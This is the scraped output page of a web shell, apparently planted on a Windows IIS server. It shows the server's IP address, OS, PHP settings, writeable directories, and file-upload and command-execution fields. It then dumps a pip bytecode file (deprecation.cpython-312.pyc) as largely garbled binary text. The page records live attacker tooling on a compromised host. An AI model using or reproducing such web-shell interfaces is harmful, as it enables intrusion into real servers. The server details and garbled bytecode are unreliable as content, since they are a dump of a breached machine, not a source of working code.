403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pip/_internal/utils/__pycache__/deprecation.cpython-312.pyc
�

�k�f{���UdZddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZ
dZGd�de�Zdaeed	<		dd
eeefdeeded
edeedeeddfd�Zdd�Zddd�dedeedeedeedeeddfd�Zy)zN
A module that implements tooling to enable easy warnings about deprecations.
�N)�Any�Optional�TextIO�Type�Union)�parse)�__version__z
DEPRECATION: c��eZdZy)�PipDeprecationWarningN)�__name__�
__module__�__qualname__���AC:\Python312\Lib\site-packages\pip/_internal/utils/deprecation.pyrrs��rr�_original_showwarning�message�category�filename�lineno�file�line�returnc���|�t�t||||||�yyt|t�r'tjd�}|j|�yt||||||�y)Nzpip._internal.deprecations)r�
issubclassr�logging�	getLogger�warning)rrrrrr�loggers       r�_showwarningr sc���� �,�!�'�8�X�v�t�T�R�-�	�H�3�	4��"�"�#?�@�����w���g�x��6�4��Nrc��tjdtd��t� tjat
t_yy)N�defaultT)�append)�warnings�simplefilterrr�showwarningr rrr�install_warning_loggerr',s6�����)�%:�4�H��$� (� 4� 4��+���%r)�feature_flag�issue�reason�replacement�gone_inr(r)c��|duxrtt�t|�k\}|t�d�f||sdndf|df||sdndf|dfg}djd	�|D��}|rt	|��tj|td
��y)aHelper to deprecate existing functionality.

    reason:
        Textual reason shown to the user about why this functionality has
        been deprecated. Should be a complete sentence.
    replacement:
        Textual suggestion shown to the user about what alternative
        functionality they can use.
    gone_in:
        The version of pip does this functionality should get removed in.
        Raises an error if pip's current version is greater than or equal to
        this.
    feature_flag:
        Command-line flag of the form --use-feature={feature_flag} for testing
        upcoming functionality.
    issue:
        Issue number on the tracker that would serve as a useful place for
        users to find related discussion and provide feedback.
    Nz{}z*pip {} will enforce this behaviour change.z*Since pip {}, this is no longer supported.zA possible replacement is {}.zEYou can use the flag --use-feature={} to test the upcoming behaviour.z@Discussion can be found at https://github.com/pypa/pip/issues/{}� c3�LK�|]\}}|�|�|j|����y�w)N)�format)�.0�value�
format_strs   r�	<genexpr>zdeprecated.<locals>.<genexpr>rs2������E�:��!�e�&7�	���%� ��s�"$�)r�
stacklevel)r�current_version�DEPRECATION_MSG_PREFIX�joinrr$�warn)r*r+r,r(r)�is_gone�
message_partsrs        r�
deprecatedr=7s���:�T�!�N�e�O�&<��g��&N�G�
�*�+�4�0�1���=�A�	
�
�+�	
�

��X��	
�
�N�	
�-�M�8�h�h��!.���G��#�G�,�,��M�M�'�$9�a�Hr)NN)rN)�__doc__rr$�typingrrrrr�pip._vendor.packaging.versionr�pipr	r7r8�Warningrr�__annotations__�str�intr r'r=rrr�<module>rFs�����5�5�/�.�(��	�G�	�"��s�!�"��
O�
�7�C�<�
 �O��7�m�O��O�
�	O�
�6�
�O��3�-�
O�
�O�(,� #'��
EI��EI��#��EI��c�]�	EI�
�3�-�EI��C�=�
EI�
�EIr

Youez - 2016 - github.com/yon3zu
LinuXploit